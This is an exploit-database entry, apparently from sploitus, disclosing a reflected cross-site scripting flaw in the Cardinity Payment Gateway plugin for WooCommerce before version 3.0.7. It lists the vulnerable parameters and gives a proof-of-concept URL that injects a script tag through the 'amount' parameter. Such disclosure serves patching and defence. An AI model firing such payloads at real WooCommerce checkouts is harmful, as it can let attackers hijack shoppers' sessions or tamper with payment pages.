Exploit for Cardinity Payment Gateway for WooCommerce < 3.0.7 - Reflected Cross-Site Scripting

Name: Exploit for Cardinity Payment Gateway for WooCommerce < 3.0.7 - Reflected Cross-Site Scripting
Rating: 5 (225 reviews)

2021-10-04 | CVSS 0.1

## https://sploitus.com/exploit?id=WPEX-ID:1A94B00A-4210-4033-A488-B3E7C2DC4B53
Vulnerable parameters: amount, country, currency, order_id, description, return_url, project_id, signature

https://example.com/wp-content/plugins/cardinity-free-payment-gateway-for-woocommerce/redirect-to-external-checkout.php?amount="><script>alert(/XSS/)</script>